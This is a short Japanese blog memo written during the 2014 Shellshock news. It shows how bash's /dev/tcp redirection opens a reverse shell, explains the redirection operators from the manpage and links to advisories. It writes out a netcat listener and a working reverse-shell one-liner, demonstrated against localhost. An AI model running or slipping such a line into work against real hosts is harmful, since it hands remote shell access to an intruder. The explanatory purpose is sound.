bashのリダイレクト(リバースシェル)について

朝からbash脆弱性で盛り上がってますが、ちょっと調べていて bash の機能を使って Reverse Shell できるそうなので、そのメモ。

http://d.hatena.ne.jp/ukky3/20080420/1208672083

基本上記のブログ通り。


● SHELL1

nc -l -k 8080


● SHELL2

exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5


● SHELL1

nc -l -k 8080
date
Thu Sep 25 14:22:01 JST 2014
hostname
hkobayash01

SHELL1 でコマンド打つと結果が帰ってきます。
exec してるところが呪文すぎるので、manpage 見るとちゃんと載ってる。
http://linuxjm.sourceforge.jp/html/GNU_bash/man1/bash.1.html

読み書きのためのファイル・ディスクリプターのオープン

リダイレクト演算子

[n]<>word

を使うと、 word を展開した結果の名前を持つファイルがファイル・ディスクリプター n での読み書きのためにオープンされます。 n が指定されていなければ、 ファイル・ディスクリプター 0 で読み書きが行われます。 ファイルが存在しなければ、新しく生成されます。

/dev/tcp/host/port
host が有効なホスト名またはインターネットアドレスで port が整数のポート番号ならば、 bash は対応するソケットに対して TCP 接続のオープンを試みます。

ファイル・ディスクリプターの複製

リダイレクト演算子

[n]<&word

を使うと入力ファイル・ディスクリプターを複製できます。 word が 1 桁以上の数値に展開された場合、 n で示されるファイル・ディスクリプターが生成され、 word で指定された数値のファイル・ディスクリプターのコピーとなります。 word に含まれる数値が入力用にオープンされたファイル・ディスクリプターを 指していない場合、リダイレクト・エラーが起きます。 word を評価した結果が - となった場合、ファイル・ディスクリプター n はクローズされます。 n が指定されていない場合、標準入力 (ファイル・ディスクリプター 0) が使われます。

同様に、演算子

[n]>&word

を使って出力ファイル・ディスクリプターを複製できます。 n が指定されていない場合は、標準出力 (ファイル・ディスクリプター 1) が使われます。 word に含まれる数値が、出力用にオープンされた ファイル・ディスクリプターを指していない場合、 リダイレクト・エラーが起きます。特別な場合ですが、 n が省略され、かつ word が 1 桁以上の数字には展開されなかった場合、 前に説明したように標準出力と標準エラー出力がリダイレクトされます。


つまり、

exec 5<>/dev/tcp/127.0.0.1/8080; sh <&5 >&5 2>&5

は読み書き用に fd5 をオープンして、127.0.0.1:8080 と関連付けして、その後 sh を起動して、標準入出力とエラー出力をfd5につなげているっぽい。

bash にはこんな機能もあったのかって感じでした。


他にも、プロセス置換機能などいろいろあるっぽい。

http://sechiro.hatenablog.com/entry/2013/08/15/bash%E3%81%AE%E3%83%97%E3%83%AD%E3%82%BB%E3%82%B9%E7%BD%AE%E6%8F%9B%E6%A9%9F%E8%83%BD%E3%82%92%E6%B4%BB%E7%94%A8%E3%81%97%E3%81%A6%E3%80%81%E3%82%B7%E3%82%A7%E3%83%AB%E4%BD%9C%E6%A5%AD%E3%82%84%E3%82%B9


肝心のbash脆弱性については、下記参照。

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/
https://x86-64.jp/blog/CVE-2014-6271
http://www.walbrix.com/jp/blog/2014-09-bash-code-injection.html